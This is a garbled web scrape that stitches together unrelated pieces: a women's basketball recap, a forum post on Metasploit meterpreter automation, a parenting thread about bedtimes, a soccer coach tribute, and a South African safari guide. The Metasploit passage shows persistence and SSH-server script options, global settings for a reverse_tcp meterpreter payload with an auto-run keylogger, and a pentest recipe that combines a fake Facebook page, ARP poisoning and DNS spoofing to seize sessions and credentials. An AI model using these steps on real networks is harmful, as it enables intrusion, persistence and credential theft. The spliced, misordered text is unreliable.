The natural sounding "Standing Room Only" FTD does not sound exactly the same. But at least you have your bright sounding Burning Love CD.

Brevard, N.C. - The Tornados defeat over Mars Hill will go into the record books as the program's first ever South Atlantic Conference victory since becoming an NCAA Division II member in 2008. Samantha Winn led the Tornados with 24 points and eight rebounds in the 87-72 milestone victory in front of a home crowd Monday evening.
The Tornados improve their overall record to 7-12, surpassing last year's win total, and 1-8 in the conference. Mars Hill falls to 4-16 and 1-8 in the conference.
In addition to Winn, three other Tornados reached double digit scoring figures. Holli Flippo added 15 points shooting 43 percent from three point range and four for four from the free throw line. Anna Schlobohm followed with 13 points, pulling down seven rebounds and adding four assists, while Millie Wharton posted a season high eleven points and eight rebounds, shooting 90 percent from the free throw line.
Margret Harvey scored 25 for the Lions followed by conference leading scorer Brittani Young with 17.
Mars Hill controlled the majority of the first half leading by as many as eight, led by Harvey's perfect fie for five shooting.
Brevard tied the game at the 6:44 mark on a Wharton free throw and then at the 4:47 mark, once again with Wharton at the line.
Brevard then took their first lead of the game with 4:24 remaining in the half when Flippo drained a three off of a skip pass from Schlobohm.
The Tornados continued to out play the Lions in the remaining minutes outscoring them 10-4, led by Winn's six points. Winn led the Tornados in scoring through the first with ten as the Tornados headed into the lock room with a 45-39 lead.
Mars Hill began the second half with a 7-0 run to regain the lead five minutes in. Following a Brevard timeout, a Brianna Worley three sparked the Tornados at the 14:31 mark. A 13-2 run ensued that resulted in a ten point Brevard lead halfway through the second.
Despite Harvey's 13 second half points the Tornados would hold on to their lead, adding ten points from the free throw line in the last two minutes. Brevard shot 85 percent from the free throw line in the second half, averaging 77 percent for the game.
Brevard also controlled the boards outrebounding the Lions 43-28, led by the team's two seniors, Winn and Wharton with eight a piece. Taylor Deal led Mars Hill with nine followed by three other players with four.
Wharton converted two free throws with less than a minute remaining to put Brevard up by 15, their biggest lead of the game, sealing the 87-72 victory.
Brevard will return to conference action on Wednesday when they travel to Lenoir-Rhyne for a 6:00 p.m. game.

Now that we've "upgraded" lets discuss those meterpreter automations scripts briefly again.
To find out what syntax or features and options a script has you can use the run command, the script name, then the -h options. Here are some examples of a couple of the scripts I find useful
One handy feature is to set environment variables globally. This can be done with setg. Here is an example of setting meterpreter as the payload globally.Code:meterpreter > run persistence -h OPTIONS: -A Automatically start a matching multi/handler to connect to the agent -S Automatically start the agent on boot as a service (with SYSTEM privileges) -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on the remote host where Metasploit is listening -r <opt> The IP of the system running Metasploit listening for the connect back meterpreter > run win32-sshserver -h OpenSSH-server deploy+run script This script will deploy OpenSSH + run the SSH-server as a service OPTIONS: -F Force overwriting of registry-values -I <opt> Install OpenSSH to the given directory -N <opt> Set custom service name -S <opt> Set custom service description -U <opt> Download OpenSSH-SFX from given URL -f <opt> The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com -h This help menu -m <opt> Do not start the OpenSSH-service after installation -p <opt> Password for the new user -r Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!) -t <opt> Set start-type of the service to manual (Default: auto) -u <opt> Add windows-user (autoadded to local administrators
You can show all the globally set variables by using setg by itself.Code:msf exploit(ms10_xxx_ie_css_clip) > setg payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
These can be unset using unsetgCode:msf exploit(ms10_xxx_ie_css_clip) > setg Global ====== Name Value ---- ----- AutoRunScript keylogrecorder lhost 192.168.1.105 lport 31337 payload windows/meterpreter/reverse_tcp msf exploit(ms10_xxx_ie_css_clip) >
A very cool way I've found for using setg for the global variables is with the Social Engineering Toolkit.Code:msf exploit(ms10_xxx_ie_css_clip) > unsetg Usage: unset var1 var2 var3 ... The unset command is used to unset one or more variables. To flush all entires, specify 'all' as the variable name msf exploit(ms10_xxx_ie_css_clip) > unsetg all Flushing datastore... msf exploit(ms10_xxx_ie_css_clip) >
Say you want to be quick and dirty as you have other tasks for this pentest. You've already compromised your client's wireless network using your ninja skills, so you set up a fake facebook with SET, using a java attack, and ARP poison some of the interesting workstations on said wireless network with dns spoof, and get a meterpreter session. Now as we said, you also have a lot of other work to do on this particular pentest. Well you can
And get sessions, that you can make sure you will keep, and even grab credentials for all kinds of things, while you're working on your reporting or doing some further research. The global variables I have tried with the social engineering toolkit have allowed me to further tweak it's capabilities and automation. Thanks rel1k for such great tools!Code:msf > setg InitialAutoRunScript persistence InitialAutoRunScript => persistence msf > setg AutoRunScript keylogrecorder AutoRunScript => keylogrecorder
I will continue to add things to this thread as I go on.
I will update this thread a little later on with my favorite resource links for Metasploit education.
Hope this thread is useful to some of you, even though there is a lot of redundant metasploit info out there.

RickRoll Meterpreter script - requires editing
I've linked in darkoperator's rickroll script as it's a good laugh and also can be useful for when you need to demonstrate something to management. Nice way to demonstrate taking control of a PC without having to get any sort of remote desktop or VNC session. The laugh will make it easier and you could even use a full screen video of it, also locking the keyboard and mouse are functions of the script, so it only stops when you say so.

And one last thing.... The metasploit developers recommend updating your metasploit at least every couple of days. New exploits are released, quite often existing code is improved, or better yet we are seeing new meterpreter scripts all the time.
This can be done using
Hope everyone enjoys my post, please leave comments, and lets all take a moment to thank the giants on whose shoulders we stand (backtrack developers, MSF developers, and other community contributors)!

How do you deal with different bed times for different ages?
I have three children who want to go to bed all at the same time. The youngest should go to bed earlier. Any suggestions on how to deal with this?
10th June 2014 11:09 PM #2
That's difficult. Are you putting them to bed on your own or do you have help? Please remind me of the ages of your children. Are they in the same/separate rooms?
I would gradually bring your youngest's bedtime earlier so you can just put your baby to bed first. How long does your youngest normally go to sleep? How do you help them to go to sleep? It then depends on the room sleeping arrangements as to what happens next with the older ones. Many parents find that playing a child a talking book through an electronic device really helps to settle down children aged 2 and above. How do your older children normally fall asleep?
Warm wishes,

They are all one year apart. I put them to bed myself. I usually start the process at the same time for everyone. The older ones hold out a little longer, and the youngest usually falls asleep first. Thanks!

Thanks for your quick response and helpful answers!

That's hard work putting them all bed yourself - I don't know if I could do it to be honest. I guess a good bedtime routine really is key for your family.
With warm wishes,

In 1989 the Tornados won a school-record 16 matches and beat Tennessee, Appalachian State, and Furman. Bartlinski led the Tornados to their first Region X Championship in 1990, and advanced to the national championship game for the first time in 1994. From 1996 to 1998, Bartlinski's Tornados went 68-0-1 and won two NJCAA national championships. Bartlinski coached two national players of the year and 25 All-Americans, and he was twice named the National Junior College Association of America National Coach of the Year and NSCAA National Coach of the Year. Bartlinski still holds six national NJCAA records, including 67 consecutive wins from 1996 to 1998, most goals scored in a season with 201 in 1998 and fewest goals allowed in a season with three in 1996.

Currently, Bartlinski coaches the University of West Florida women's soccer team, and has the Argos ranked second in the nation amongst Division 2 teams. Bartlinski won 195 games at Brevard, and crossed the 300-win plateau overall this season. He is unable to attend because of his current duties at UWF, but nonetheless, put your hands together for Tornado soccer coaching legend Joe Bartlinski.

Did you know?
A mobile tented safari is generally set up before your arrival at the remote bush location you're spending the night at.
If there is one accommodation experience in South Africa bound to delight you, it has to be a stay in a tented safari camp in one of South Africa's Big Five game reserves.
Imagine spending the night under the African sky surrounded by the sounds of wild animals but knowing you are completely secure in your upmarket tented suite. There's not much to beat this.
The options in tented safaris in South Africa are wide ranging, from budget tented camps that provide exhilarating bush experiences, to the five-star luxury tented camps found in South Africa's top private game reserves like Shamwari and Timbavati.
The latter have all the luxurious amenities you'd expect from a five-star hotel or lodge. Your 'tent' comes complete with en suite bathrooms, outdoor showers, mosquito nets and game viewing decks.
For those seeking to get even closer to nature, mobile tented safaris – where comfortable mobile tented camps are set up deep in bush – provide intimate experiences viewing the wild. Here you really get to sleep among wild animals while fully protected by game rangers.
Cast a gaze over some of the popular tented camps in South Africa...
There's the luxurious Hamilton's Tented Camp in the Kruger National Park, which features six canvas tents and early 20th-century décor.
Bateleur Eco Safaris is an eco-friendly tented bush camp in the Timbavati Private Nature Reserve with 10 East African safari tents.
Bayethe Lodge at Shamwari Game Reserve offers nine luxury tents, some with fireplaces, plunge pools and hammocks.
Then there's &Beyond's award-winning Ngala Tented Camp in the Ngala Private Game Reserve in the Kruger National Park, which offers six spacious, air-conditioned en suite safari tents.
Kapama Karula in the Kapama Game Reserve offers seven luxury tents on the banks of the Klaserie River.
You'll also find tented camps at the Bakgatla and Madikwe resorts in the Pilanesberg Game Reserve, at Thakadu River Camp in the Madikwe Game Reserve, and at Glen Afric Country Lodge near Johannesburg.
For budget travellers, there's Tamboti Tented Camp in the Kruger National Park and the Spekboom Tented Camp in Addo Elephant National Park in the Eastern Cape.

Best time to visit
South africa's game reserves can be visted at any time of the year. Winter is a good time for game spotting as water scarcity means animals flock to waterholes, and foliage is at a minimum.
Tours to do
If you're on safari, inquire about the attractions around the area and the tours you can do. You may be able to go on a township tour, or visit a local shebeen or cultural village.
What to pack
A hat, sunblock, insect repellant and neutral coloured clothes for bush excursions.
What to eat
If you're a meat eater, sample some of the game meat on offer at your lodge.
